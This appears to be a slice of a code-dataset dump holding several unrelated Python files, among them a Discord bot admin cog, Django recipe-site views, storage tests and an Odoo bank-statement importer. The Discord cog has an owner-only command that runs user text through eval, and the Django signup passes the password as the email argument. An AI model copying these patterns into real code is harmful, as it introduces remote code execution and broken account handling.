batch_size=self.hparams.batch_size,\n pin_memory=True, num_workers=self.hparams.num_workers))\n if bool(self.hparams.patch_size):\n self.out_aggregators[grid_sampler.subject.filename] = tio.inference.GridAggregator(\n grid_sampler, overlap_mode=\"average\")\n self.grid_samplers[grid_sampler.subject.filename] = grid_sampler\n return test_loaders\n\n def img_logger(self, tag, batch_idx, inp=None, pred=None, gt=None) -> None:\n if self.hparams.tbactive and self.hparams.im_log_freq > -1 and batch_idx % self.hparams.im_log_freq == 0:\n if len(inp.shape) == 5: # 3D\n central_slice = inp.shape[-2] // 2\n inp = inp[:, :, central_slice]\n pred = pred[:, :, central_slice]\n gt = gt[:, :, central_slice]\n log_images(self.logger[-1].experiment, inp,\n pred.detach(), gt, batch_idx, tag)\n\n @staticmethod\n def add_model_specific_args(parent_parser):\n parser = ArgumentParser(parents=[parent_parser], add_help=False)\n parser.add_argument('--nothing_yet', type=str)\n return parser\n","sub_path":"Bridge/AuxiliaryEngines/ReconEngine.py","file_name":"ReconEngine.py","file_ext":"py","file_size_in_byte":14991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"325180747","text":"# 你有一个目录,放了你一个月的日记,都是 txt,为了避免分词的问题,假设内容都是英文,请统计出你认为每篇日记最重要的词。\r\nimport os\r\nimport re\r\nimport string\r\n\r\npath = os.path.dirname(__file__) + '/0006'\r\ndic = {}\r\nre_word = re.compile('\\b?(\\w+)\\b?')\r\nfor txt in os.listdir(path):\r\n # os.path.join()可以拼接某个路径与文件名\r\n txt_path = os.path.join(path, txt)\r\n print(txt_path)\r\n with open(txt_path, 'r') as f:\r\n cnt = f.read()\r\n words = re_word.findall(cnt)\r\n for word in words:\r\n if word not in ['a', 'the', 'is']:\r\n dic.setdefault(word, 0)\r\n dic[word] += 1\r\n # key = lambda t: t[1] 以第二个元素为关键词进行排序\r\n ans_list = sorted(dic.items(), key=lambda t: t[1], reverse=True)\r\n print(ans_list[0])\r\n\r\n\r\n","sub_path":"50+exercises/0006.py","file_name":"0006.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"531123524","text":"# admin.py - commands for my use\n\n# misc imports\nimport sys\nimport os\nsys.path.append(os.path.join(os.path.dirname(__file__), \"..\"))\n\n# discord imports\nimport discord\nfrom discord.ext import commands\n\n# mongodb\nimport pymongo\n\n# load config\nfrom config import config\n\n# connect to mongo\nmongo = pymongo.MongoClient(f\"mongodb+srv://{config['mongo_user']}:{config['mongo_pass']}@{config['mongo_host']}/test?retryWrites=true\")[\"comics\"]\n\ndef is_owner(ctx):\n return ctx.author.id == 240039475860733952\n\nclass AdminCog:\n def __init__(self, bot):\n self.bot = bot\n\n async def on_ready(self):\n print(\"Admin cog loaded successfuly\")\n\n #*******************************\n # Details command\n #\n #*******************************\n\n @commands.command(name=\"details\", hidden = True)\n @commands.check(is_owner)\n @commands.guild_only()\n async def details(self, ctx):\n embed = discord.Embed(title=f\"Bot details\", color=0x53C1DE)\n embed.add_field(name=\"Servers\", value=f\"Count: {len(self.bot.guilds)}\")\n await ctx.channel.send(embed=embed)\n \n #********************************\n # Eval command - dangerous !\n #\n #********************************\n @commands.command(name=\"eval\", hidden = True)\n @commands.check(is_owner)\n async def eval(self, ctx, arg):\n await ctx.channel.send(\"```\" + str(eval(arg)) + \"```\")\n\ndef setup(bot):\n bot.add_cog(AdminCog(bot))","sub_path":"bot/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"602830992","text":"#!/bin/python\n\n# https://www.interviewbit.com/problems/max-min-05542f2f-69aa-4253-9cc7-84eb7bf739c4/\n\n# Problem Description\n\n# Given an array A of size N. You need to find the sum of Maximum and Minimum element in the given array.\n\n# NOTE: You should make minimum number of comparisons.\n\n\n\n# Problem Constraints\n# 1 <= N <= 105\n\n# -109 <= A[i] <= 109\n\n\n\n# Input Format\n# First and only argument is an integer array A of size N.\n\n\n\n# Output Format\n# Return an integer denoting the sum Maximum and Minimum element in the given array.\n\n\n\n# Example Input\n# Input 1:\n\n# A = [-2, 1, -4, 5, 3]\n# Input 2:\n\n# A = [1, 3, 4, 1]\n\n\n# Example Output\n# Output 1:\n\n# 1\n# Output 2:\n\n# 5\n\n\n# Example Explanation\n# Explanation 1:\n\n# Maximum Element is 5 and Minimum element is -4. (5 + (-4)) = 1. \n# Explanation 2:\n\n# Maximum Element is 4 and Minimum element is 1. (4 + 1) = 5.\n\n\nclass Solution:\n # @param A : list of integers\n # @return an integer\n def solve(self, A):\n my_min = 9999999999\n my_max = -9999999999\n \n if (len(A) <= 0): return 0\n \n for i in range(len(A)):\n my_min = min(my_min, A[i])\n my_max = max(my_max, A[i])\n \n return my_max + my_min","sub_path":"Interview_Bit/Arrays/Max Min.py","file_name":"Max Min.py","file_ext":"py","file_size_in_byte":1230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"297916049","text":"from django.shortcuts import render, redirect\nfrom django.http import HttpResponse\nfrom django.urls import reverse\nimport json\nfrom recipes.Libraries.yummly import yummly\nfrom recipes.models import YummlyAPI, InventoryItem\n\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.models import User\n\n\ndef index(request):\n context = {\n \"request\": request,\n \"page_title\": \"Yummy Yakky\",\n \"body\": {\n \"h1\": \"This is the H1 tag\",\n \"content\": \"

Menu

\",\n \"links\": [\n {\"URL\": reverse('search-ingredients-view'), \"text\": \"Search by ingredient\"},\n ],\n }\n }\n return render(request, 'index.html', context)\n\ndef search(request):\n inventory = None\n if request.user.is_authenticated:\n inventory = InventoryItem.getUserInventory(request.user)\n\n queryString = request.POST.get('txtSearch','')\n queryAllowedIngredients = request.POST.get('allowedIngredients', '').split(', ')\n\n inventoryDictList = []\n if inventory:\n for item in inventory:\n checked = False\n if item.ingredient in queryAllowedIngredients:\n checked = True\n\n inventoryDictList.append({\"ingredient\": item.ingredient, \"checked\": checked})\n\n # Render blank search page with no results section\n if not queryString and not len(queryAllowedIngredients[0]):\n return render(request, 'search_page.html', {\"inventory\": inventoryDictList})\n\n # Decide whether to include inventory in the search or not\n recipes = None\n if len(queryAllowedIngredients[0]):\n recipes = YummlyAPI.search(queryString=queryString, allowedIngredients=queryAllowedIngredients)\n else:\n recipes = YummlyAPI.search(queryString=queryString)\n\n results = []\n for r in recipes['matches']:\n result = {}\n result['image'] = \"\"\n try:\n if len(r.smallImageUrls):\n result['image'] = r.smallImageUrls[0]\n except:\n pass\n\n result['id'] = r['id']\n result['recipeName'] = r.recipeName\n result['rating'] = r.rating\n result['attributes'] = r.attributes\n result['ingredientsShort'] = ', '.join(r.ingredients[0:5])\n if r.totalTimeInSeconds:\n result['time'] = {\n 'minutes': r.totalTimeInSeconds / 60\n }\n else:\n result['time'] = {\n 'minutes': 0\n }\n results.append(result)\n\n\n context = {\n \"request\": request,\n \"queryString\": queryString,\n \"queryAllowedIngredients\": queryAllowedIngredients,\n \"page_title\": \"Yummy Yakky\",\n \"inventory\": inventoryDictList,\n \"results\": results,\n \"results_length\": len(results)\n }\n return render(request, 'search_results_page.html', context)\n\ndef recipeDetail(request, slug=\"\"):\n if not slug:\n return redirect('search')\n recipe = YummlyAPI.retrieve_recipe(slug)\n context = recipe\n\n showingNutritionEstimates = {\n 'Energy': 'Energy',\n 'Sugars, total': 'Sugar',\n 'Carbohydrate, by difference': 'Carbohydrate',\n 'Protein': 'Protein',\n 'Total lipid (fat)': 'Fat',\n 'Sodium, Na': 'Sodium'\n }\n nutritionEstimates = []\n for item in context['nutritionEstimates']:\n if item.description in showingNutritionEstimates:\n item.description = showingNutritionEstimates[item.description]\n nutritionEstimates.append(item)\n\n context['nutritionEstimates'] = nutritionEstimates\n\n\n\n return render(request, 'recipe_detail_page.html', context)\n\ndef searchIngredients(request):\n context = {\n \"request\": request,\n \"page_title\": \"Yummy Yakky\",\n \"body\": {\n \"h1\": \"Search Ingredients\",\n \"content\": \"\"\"

Here is the content of the 'Search Ingredients View'.

Below is a simple auto complete form that is autocompleting terms based on all possible ingredients from the Yummly API

\"\"\"\n }\n }\n return render(request, 'search-ingredients.html', context)\n\ndef recipesContainingIngredient(request):\n ingredient = request.POST.get('txtSearch','')\n recipes = YummlyAPI.search(allowedIngredients=[ingredient,])\n\n context = {\n \"request\": request,\n \"page_title\": \"Yummy Yakky\",\n \"body\": {\n \"h1\": f\"Recipes Containing '{ingredient}'\",\n \"content\": f\"\"\"

Below are a list of the first {recipes.criteria.maxResults} recipes containing {ingredient}\"\"\",\n \"recipes\": recipes['matches']\n }\n }\n return render(request, 'recipes.html', context)\n\ndef autocompleteIngredients(request):\n # if request.is_ajax():\n search_qs = YummlyAPI.ingredientsPossible\n\n results = []\n for r in search_qs:\n term = request.GET.get('term', '')\n if term != '' and term.lower() in r.searchValue.lower():\n results.append(r.searchValue)\n data = json.dumps(results)\n # else:\n # data = 'fail'\n mimetype = 'application/json'\n return HttpResponse(data, mimetype)\n\n# Process login information, redirect to home page if successful\ndef loginView(request):\n print(\"loginView\")\n username = request.POST.get('username','')\n password = request.POST.get('password','')\n user = None\n if username and password:\n user = authenticate(request, username=username, password=password)\n if user is not None:\n print(\"About to log user in\")\n login(request, user)\n print(\"Logged user in\")\n return redirect('inventory')\n else:\n return render(request, 'registration/login.html')\n\n\ndef logoutView(request):\n print(\"logoutView\")\n logout(request)\n return redirect('login')\n\ndef signupView(request):\n print(\"signupView\")\n username = request.POST.get('username', '')\n password = request.POST.get('password','')\n user = None\n if username and password:\n print('About to sign user up')\n try:\n user = User.objects.create_user(username, password)\n user.save()\n except:\n # exception.AlreadyExists:\n return render(request, 'registration/signup.html', {'error': 'Username already exists'})\n print('Signed user up')\n if user is not None:\n print('About to log user in')\n login(request, user)\n print('Logged user in')\n return redirect('inventory')\n else:\n return render(request, 'registration/signup.html')\n\n# Render the inventory. User authentication required\n@login_required\ndef inventory(request):\n # Deleting of inventory item\n if request.GET.get('delete',''):\n print(\"Deleting\")\n InventoryItem.deleteIngredient(request.user, request.GET['delete'])\n return redirect('inventory')\n\n # Adding of inventory item\n if request.POST.get('addIngredient', ''):\n ingredient = request.POST.get('addIngredient', '')\n if YummlyAPI.is_valid_ingredient(ingredient):\n item, created = InventoryItem.addIngredient(request.user, ingredient)\n return redirect('inventory')\n\n # Displaying of inventory\n inventory = InventoryItem.getUserInventory(request.user);\n context = {\n 'inventory': inventory #[{'ingredient': 'cheese'}, {'ingredient': 'bacon'}]\n }\n return render(request, 'inventory_page.html', context)\n","sub_path":"recipes/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"132993918","text":"from objects.agenda import Agenda\nfrom datetime import datetime, timedelta\n\nagenda = Agenda()\n\n\nbegindates = [None]*5\nenddates = [None]*5\nbegindates[0] = datetime(day=9, month=2, year=2007, hour=8)\nenddates[0] = agenda.get_end_date(begindates[0], 10)\nprint(enddates[0])\n\nbegindates[1]= datetime(day=9, month=2, year=2007, hour=8)\nenddates[1] = agenda.get_end_date(begindates[1], 12)\nprint(enddates[1])\n\nbegindates[2]= datetime(day=28, month=2, year=2007, hour=8)\nenddates[2] = agenda.get_end_date(begindates[2], 13)\nprint(enddates[2])\n\nbegindates[3]= datetime(day=28, month=2, year=2007, hour=8)\nenddates[3] = agenda.get_end_date(begindates[3], 12)\nprint(enddates[3])\n\nbegindates[4]= datetime(day=16, month=3, year=2007, hour=8)\nenddates[4] = agenda.get_end_date(begindates[4], 1)\nprint(enddates[4])\n\n\nprint(\"min\")\nprint(min(begindates))\nprint(\"max\")\nprint(max(enddates))\n\nprint(agenda.get_time_between(min(begindates), max(enddates)))","sub_path":"PMConverter/src/agenda_test.py","file_name":"agenda_test.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"385113775","text":"# -*- coding: utf-8 -*-\n#\n# Copyright 2016 dpa-infocom GmbH\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nimport asynctest\nimport os\nimport sqlalchemy_aio\nfrom sqlalchemy_aio.engine import AsyncioResultProxy, AsyncioConnection\nfrom datetime import datetime\nfrom livebridge.storages.base import BaseStorage\nfrom livebridge.storages import SQLStorage\nfrom livebridge.components import get_db_client\n\n\nclass SQLStorageTests(asynctest.TestCase):\n\n async def setUp(self):\n self.dsn = \"sqlite:///tests/tests.db\"\n self.table_name = \"test_table\"\n self.control_table_name = \"test_control_table\"\n params = {\"dsn\": self.dsn, \"table_name\": self.table_name, \"control_table_name\": self.control_table_name}\n self.client = SQLStorage(**params)\n self.target_id = \"scribble-max.mustermann@dpa-info.com-1234567890\"\n\n async def tearDown(self):\n if os.path.exists(\"./tests/tests.db\"):\n os.remove(\"./tests/tests.db\")\n\n @asynctest.fail_on(unused_loop=False)\n def test_init(self):\n assert self.client.dsn == self.dsn\n assert self.client.table_name == self.table_name\n assert issubclass(SQLStorage, BaseStorage) is True\n\n async def test_db(self):\n db = await self.client.db\n self.assertIsInstance(db, sqlalchemy_aio.asyncio.AsyncioEngine)\n\n async def test_get_db_client(self):\n params = {\n \"dsn\": \"sqlite:///\",\n \"table_name\": \"lb_test\"\n }\n db = get_db_client(**params)\n assert type(db) == SQLStorage\n assert db.dsn == params[\"dsn\"]\n assert db.table_name == params[\"table_name\"]\n\n # test singleton\n db2 = get_db_client(**params)\n assert db == db2\n\n async def test_setup(self):\n self.client._engine = asynctest.MagicMock()\n self.client._engine.has_table = asynctest.CoroutineMock(return_value=False)\n self.client._engine.execute = asynctest.CoroutineMock(return_value=True)\n conn = asynctest.MagicMock(spec=AsyncioConnection)\n conn.execute = asynctest.CoroutineMock(return_value=True)\n conn.close = asynctest.CoroutineMock(return_value=True)\n self.client._engine.connect = asynctest.CoroutineMock(return_value=conn)\n res = await self.client.setup()\n assert res is True\n assert conn.execute.call_count == 2\n\n async def test_setup_failing(self):\n self.client._engine = asynctest.MagicMock()\n self.client._engine.has_table = asynctest.CoroutineMock(side_effect=Exception())\n res = await self.client.setup()\n assert res is False\n\n async def test_get_last_updated(self):\n item = {\"updated\": datetime.strptime(\"2016-10-19T10:13:43+00:00\", \"%Y-%m-%dT%H:%M:%S+00:00\")}\n db_res = asynctest.MagicMock(spec=AsyncioResultProxy)\n db_res.first = asynctest.CoroutineMock(return_value=item)\n self.client._engine = asynctest.MagicMock()\n self.client._engine.execute = asynctest.CoroutineMock(return_value=db_res)\n res = await self.client.get_last_updated(\"source\")\n assert type(res) == datetime\n assert res.year == 2016\n assert res.month == 10\n assert res.second == 43\n assert self.client._engine.execute.call_count == 1\n\n # no date\n db_res.first = asynctest.CoroutineMock(return_value={})\n res = await self.client.get_last_updated(\"source\")\n assert res is None\n\n async def test_get_last_updated_failing(self):\n self.client._engine = asynctest.MagicMock()\n self.client._engine.execute = asynctest.CoroutineMock(side_effect=Exception())\n res = await self.client.get_last_updated(\"source\")\n assert res is None\n\n async def test_insert_post(self):\n params = {\"target_id\": \"target-id\",\n \"post_id\": \"post-id\",\n \"source_id\": \"source-id\",\n \"text\": \"Text\",\n \"created\": \"2016-10-19T10:13:43+00:00\",\n \"sticky\": True,\n \"updated\": \"2016-10-19T10:13:43+00:00\",\n \"target_doc\": {\"foo\": \"doc\"}}\n self.client._engine = asynctest.MagicMock()\n self.client._engine.execute = asynctest.CoroutineMock(return_value=True)\n res = await self.client.insert_post(**params)\n assert res is True\n\n # failing\n self.client._engine.execute = asynctest.CoroutineMock(side_effect=Exception())\n res = await self.client.insert_post(**params)\n assert res is False\n\n async def test_update_post(self):\n params = {\"target_id\": \"target-id\",\n \"post_id\": \"post-id\",\n \"source_id\": \"source-id\",\n \"text\": \"Text\",\n \"created\": datetime.utcnow(),\n \"sticky\": True,\n \"updated\": datetime.utcnow(),\n \"target_doc\": {\"foo\": \"doc\"}}\n self.client._engine = asynctest.MagicMock()\n self.client._engine.execute = asynctest.CoroutineMock(return_value=True)\n res = await self.client.update_post(**params)\n assert res is True\n assert self.client._engine.execute.call_count == 1\n\n async def test_update_post_failing(self):\n self.client._engine = asynctest.MagicMock()\n self.client._engine.execute = asynctest.CoroutineMock(side_effect=Exception())\n res = await self.client.update_post(**{})\n assert res is False\n assert self.client._engine.execute.call_count == 1\n\n async def test_get_known_posts(self):\n source_id = \"source-id\"\n post_ids = [\"one\", \"two\", \"three\", \"four\", \"five\", \"six\"]\n db_res = asynctest.MagicMock(spec=AsyncioResultProxy)\n db_res.fetchall = asynctest.CoroutineMock(return_value=[(\"one\",), (\"three\",), (\"five\",)])\n self.client._engine = asynctest.MagicMock()\n self.client._engine.execute = asynctest.CoroutineMock(return_value=db_res)\n res = await self.client.get_known_posts(source_id, post_ids)\n assert res == [\"one\", \"three\", \"five\"]\n\n async def test_get_known_posts_failing(self):\n self.client._engine = asynctest.MagicMock()\n self.client._engine.execute = asynctest.CoroutineMock(side_effect=Exception())\n res = await self.client.get_known_posts(\"source-id\", [\"one\"])\n assert res == []\n\n async def test_get_post(self):\n item = {\n \"updated\": datetime.strptime(\"2016-10-19T10:13:43+00:00\", \"%Y-%m-%dT%H:%M:%S+00:00\"),\n \"target_doc\": '{\"target\":\"doc\"}'\n }\n db_res = asynctest.MagicMock(spec=AsyncioResultProxy)\n db_res.first = asynctest.CoroutineMock(return_value=item)\n self.client._engine = asynctest.MagicMock()\n self.client._engine.execute = asynctest.CoroutineMock(return_value=db_res)\n res = await self.client.get_post(\"target\", \"post\")\n assert res[\"target_doc\"] == {'target': 'doc'}\n assert res[\"updated\"] == item[\"updated\"]\n\n async def test_get_post_failing(self):\n self.client._engine = asynctest.MagicMock()\n self.client._engine.execute = asynctest.CoroutineMock(side_effect=Exception())\n res = await self.client.get_post(\"target\", \"post\")\n assert res is None\n\n async def test_delete_post(self):\n self.client._engine = asynctest.MagicMock()\n self.client._engine.execute = asynctest.CoroutineMock(return_value=True)\n res = await self.client.delete_post(\"target\", \"post\")\n assert res is True\n\n async def test_delete_post_failing(self):\n self.client._engine = asynctest.MagicMock()\n self.client._engine.execute = asynctest.CoroutineMock(side_effect=Exception())\n res = await self.client.delete_post(\"target\", \"post\")\n assert res is False\n\n async def test_get_control(self):\n updated = datetime(2017, 6, 1, 11, 3, 2)\n db_item = {\n 'updated': datetime(2017, 6, 1, 11, 3, 1),\n 'data': '{\"bridges\": [{\"foo\": \"bar\"}], \"auth\": {\"foo\": \"baz\"}}', 'id': 1, 'type': 'control'}\n db_res = asynctest.MagicMock(spec=AsyncioResultProxy)\n db_res.first = asynctest.CoroutineMock(return_value=db_item)\n self.client._engine = asynctest.MagicMock()\n self.client._engine.execute = asynctest.CoroutineMock(return_value=db_res)\n res = await self.client.get_control(updated=updated)\n assert res[\"data\"][\"auth\"] == {\"foo\": \"baz\"}\n assert res[\"data\"][\"bridges\"] == [{\"foo\": \"bar\"}]\n assert self.client._engine.execute.call_count == 1\n\n async def test_get_control_failing(self):\n db = await self.client.db\n db.execute = asynctest.CoroutineMock(side_effect=Exception())\n res = await self.client.get_control()\n assert res is False\n\n async def test_get_control_failing_with_tstamp(self):\n res = await self.client.get_control(updated=\"string\")\n assert res is False\n\n async def test_save_control(self):\n data = {\"foo\": \"bar\"}\n self.client._engine = asynctest.MagicMock()\n self.client._engine.execute = asynctest.CoroutineMock(return_value=True)\n # update\n self.client.get_control = asynctest.CoroutineMock(return_value=True)\n res = await self.client.save_control(data=data)\n assert res is True\n assert self.client._engine.execute.call_count == 1\n assert str(self.client._engine.execute.call_args[0][0]) == \\\n \"UPDATE test_control_table SET data=:data, updated=:updated WHERE test_control_table.type = :type_1\"\n\n # insert new one\n self.client.get_control = asynctest.CoroutineMock(return_value=False)\n res = await self.client.save_control(data=data)\n assert res is True\n assert self.client._engine.execute.call_count == 2\n assert str(self.client._engine.execute.call_args[0][0]) == \\\n \"INSERT INTO test_control_table (type, data, updated) VALUES (:type, :data, :updated)\"\n\n async def test_save_control_failing(self):\n self.client.get_control = asynctest.CoroutineMock(side_effect=Exception(\"Test-Error\"))\n res = await self.client.save_control({\"foo\": \"bar\"})\n assert res is False\n","sub_path":"tests/test_sql.py","file_name":"test_sql.py","file_ext":"py","file_size_in_byte":10660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"562325626","text":"# -*- encoding: utf-8 -*-\n##############################################################################\n#\n# Part of Odoo.\n# Copyright (C) 2019 Allegro IT ()\n# E-mail: \n# Address: \n# Phone: +371 67289467\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Lesser General Public License as\n# published by the Free Software Foundation, either version 3 of the\n# License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Lesser General Public License for more details.\n#\n# You should have received a copy of the GNU Lesser General Public License\n# along with this program. If not, see .\n#\n##############################################################################\n\nfrom odoo import api, fields, models, _\nimport base64\nimport ast\nfrom xml.dom.minidom import getDOMImplementation, parseString\nfrom datetime import datetime\nfrom openerp.exceptions import UserError\nfrom dateutil.parser import parse\n\nclass AccountBankStatementImport(models.TransientModel):\n _inherit = 'account.bank.statement.import'\n\n\n format = fields.Selection([('iso20022', 'ISO 20022'), ('fidavista','FiDAViSta')], string='Format', default='iso20022')\n flag = fields.Boolean('Continue Anyway', help='If checked, continues without comparing balances.', default=False)\n wrong_balance = fields.Boolean('Wrong Balance', default=False)\n statement_info = fields.Html(string='Statement Info', readonly=1)\n\n\n def find_bank_account(self, account_number):\n bank_acc = False\n if account_number:\n bank_obj = self.env['res.partner.bank']\n bank_acc = bank_obj.search([('acc_number','=',account_number)], limit=1)\n if not len(bank_acc):\n account_number_list = list(account_number)\n account_number_list.insert(4,' ')\n account_number_list.insert(9,' ')\n account_number_list.insert(14,' ')\n account_number_list.insert(19,' ')\n account_number_list.insert(24,' ')\n account_number_2 = \"\".join(account_number_list)\n bank_acc = bank_obj.search([('acc_number','=',account_number_2)], limit=1)\n if not len(bank_acc):\n bank_acc = False\n return bank_acc\n\n\n @api.onchange('format', 'data_file')\n def _onchange_data_file(self):\n if self.data_file and self.format in ['iso20022', 'fidavista']:\n # decoding and encoding for string parsing; parseString() method:\n stringAsByte = \"b'%s'\" % self.data_file\n record = str(base64.decodestring(ast.literal_eval(stringAsByte)), 'iso8859-4', 'strict').encode('iso8859-4','strict')\n dom = parseString(record)\n\n account_number = ''\n statement_name = ''\n balance_start = 0.0\n currency_name = False\n\n bank_obj = self.env['res.partner.bank']\n statement_obj = self.env['account.bank.statement']\n journal_obj = self.env['account.journal']\n cur_obj = self.env['res.currency']\n if not self.format:\n if dom.documentElement.tagName == 'FIDAVISTA':\n self.format = 'fidavista'\n if dom.documentElement.tagName == 'Document':\n self.format = 'iso20022'\n if self.format == 'iso20022':\n statements = dom.getElementsByTagName('Stmt') or []\n if not statements:\n statements = dom.getElementsByTagName('Rpt') or []\n account_tag = statements[0].getElementsByTagName('Acct')[0]\n account_number = account_tag.getElementsByTagName('IBAN')[0].toxml().replace('','').replace('','')\n statement_name = account_number\n ft_date_tag = statements[0].getElementsByTagName('FrToDt')\n if ft_date_tag:\n start_datetime = ft_date_tag[0].getElementsByTagName('FrDtTm')[0].toxml().replace('','').replace('','')\n end_datetime = ft_date_tag[0].getElementsByTagName('ToDtTm')[0].toxml().replace('','').replace('','')\n start_date = datetime.strftime(parse(start_datetime).date(), '%Y-%m-%d')\n end_date = datetime.strftime(parse(end_datetime).date(), '%Y-%m-%d')\n statement_name += (' ' + start_date + ':' + end_date)\n balances = statements[0].getElementsByTagName('Bal')\n for b in balances:\n balance_amount = 0.0\n amount_tags = b.getElementsByTagName('Amt')\n cl_amount_tag = False\n credit_line = b.getElementsByTagName('CdtLine')\n if credit_line:\n cl_amount_tag = credit_line[0].getElementsByTagName('Amt')\n cl_amount_tag = cl_amount_tag and cl_amount_tag[0] or False\n for amt in amount_tags:\n if amt != cl_amount_tag:\n balance_amount = float(amt.firstChild.nodeValue)\n cd_ind = b.getElementsByTagName('CdtDbtInd')[0].toxml().replace('','').replace('','')\n if cd_ind == 'DBIT':\n balance_amount *= (-1)\n btype = b.getElementsByTagName('Tp')[0]\n type_code = btype.getElementsByTagName('CdOrPrtry')[0].getElementsByTagName('Cd')[0].toxml().replace('','').replace('','')\n found = False\n if type_code == 'OPBD':\n balance_start = balance_amount\n found = True\n if not found:\n bsubtype = btype.getElementsByTagName('SubType')\n if bsubtype:\n subtype_code = bsubtype[0].getElementsByTagName('Cd')[0].toxml().replace('','').replace('','')\n if subtype_code == 'OPBD':\n balance_start = balance_amount\n cur_tag = account_tag.getElementsByTagName('Ccy')\n if cur_tag:\n currency_name = cur_tag[0].toxml().replace('','').replace('','')\n\n if self.format == 'fidavista':\n start_date = dom.getElementsByTagName('StartDate')[0].toxml().replace('','').replace('','')\n end_date = dom.getElementsByTagName('EndDate')[0].toxml().replace('','').replace('','')\n accountset = dom.getElementsByTagName('AccountSet')[0]\n account_number = accountset.getElementsByTagName('AccNo')[0].toxml().replace('','').replace('','')\n statement_name = account_number + ' ' + start_date+ ':' + end_date\n balance_start = accountset.getElementsByTagName('OpenBal')[0].toxml().replace('','').replace('','')\n currency_name = accountset.getElementsByTagName('Ccy')[0].toxml().replace('','').replace('','')\n\n wrong_balance = False\n imported = {}\n bank_account = self.find_bank_account(account_number)\n if bank_account:\n journals = journal_obj.search([('bank_account_id','=',bank_account.id)])\n bank_statement = statement_obj.search([('journal_id', 'in', [j.id for j in journals])], order='date desc', limit=1)\n if bank_statement:\n if bank_statement.balance_end_real != float(balance_start):\n wrong_balance = True\n imported.update({\n 'name': bank_statement.name,\n 'balance_end': bank_statement.balance_end_real,\n 'currency': bank_statement.currency_id\n })\n\n currency = False\n if currency_name:\n currency = cur_obj.search([('name','=',currency_name)], limit=1)\n if not currency:\n currency = cur_obj.search([('name','=',currency_name), ('active','=',False)], limit=1)\n importing = {\n 'name': statement_name,\n 'balance_start': float(balance_start),\n 'currency': currency\n }\n\n info = \"\"\"\"\"\"\n if imported:\n info += \"\"\"\"\"\" % (_('Last statement for selected account'), _('Ending Balance'))\n info += \"\"\"\"\"\" % (_('Statement to import'), _('Starting Balance'))\n info += \"\"\n if imported:\n info += \"\"\"\"\"\" % (imported['name'], wrong_balance and 'red' or 'black', imported['balance_end'], imported['currency'] and (imported['currency'].symbol or imported['currency'].name) or '')\n info += \"\"\"\"\"\" % (importing['name'], wrong_balance and 'red' or 'black', importing['balance_start'], importing['currency'] and (importing['currency'].symbol or importing['currency'].name) or '')\n info += \"\"\"
%s%s%s%s
%s%.02f %s%s%.02f %s
\"\"\"\n if wrong_balance:\n info += \"\"\"

%s

%s

\"\"\" % (_('Balances do not match!'), _('The Ending Balance of the last Bank Statement (by date) imported for the Bank Account is not equal to the Starting Balance of this document.'))\n\n self.statement_info = info\n self.wrong_balance = wrong_balance\n\n\n def check_balances(self, balance_start, account_number):\n journal_obj = self.env['account.journal']\n bs_obj = self.env['account.bank.statement']\n test_bnk_acc = self.find_bank_account(account_number)\n if test_bnk_acc:\n journals = journal_obj.search([('bank_account_id','=',test_bnk_acc.id)])\n test_bs = bs_obj.search([('journal_id','in',[j.id for j in journals])], order='date desc', limit=1)\n if test_bs and test_bs.balance_end_real != float(balance_start) and self.flag == False:\n raise UserError(_(\"The Ending Balance of the last Bank Statement (by date) imported for the Bank Account '%s' is not equal to the Starting Balance of this document. If this is OK with you, check the 'Continue Anyway' box and try to import again.\") %(account_number))\n\n\n def iso20022_parsing(self, data_file):\n record = str(data_file, 'iso8859-4', 'strict').encode('iso8859-4','strict')\n dom = parseString(record)\n\n statements = dom.getElementsByTagName('Stmt') or []\n if not statements:\n statements = dom.getElementsByTagName('Rpt') or []\n\n cur_obj = self.env['res.currency']\n ba_obj = self.env['res.partner.bank']\n partner_obj = self.env['res.partner']\n# config_obj = self.env['account.bank.transaction.type']\n\n currency_code = False\n account_number = False\n stmts_vals = []\n for statement in statements:\n # getting start values:\n # Acct/Id/IBAN\n # Acct/Ccy\n # FrToDt/FrDtTm\n # FrToDt/ToDtTm\n account_tag = statement.getElementsByTagName('Acct')[0]\n account_number = account_tag.getElementsByTagName('IBAN')[0].toxml().replace('','').replace('','')\n name = account_number\n cur_tag = account_tag.getElementsByTagName('Ccy')\n if cur_tag:\n currency_code = cur_tag[0].toxml().replace('','').replace('','')\n start_date = False\n end_date = False\n ft_date_tag = statement.getElementsByTagName('FrToDt')\n if ft_date_tag:\n start_datetime = ft_date_tag[0].getElementsByTagName('FrDtTm')[0].toxml().replace('','').replace('','')\n end_datetime = ft_date_tag[0].getElementsByTagName('ToDtTm')[0].toxml().replace('','').replace('','')\n start_date = datetime.strftime(parse(start_datetime).date(), '%Y-%m-%d')\n end_date = datetime.strftime(parse(end_datetime).date(), '%Y-%m-%d')\n name += (' ' + start_date + ':' + end_date)\n\n # getting balances:\n # Bal/Amt\n # Bal/CdtDbtInd\n # Bal/Tp/CdOrPrtry/Cd or 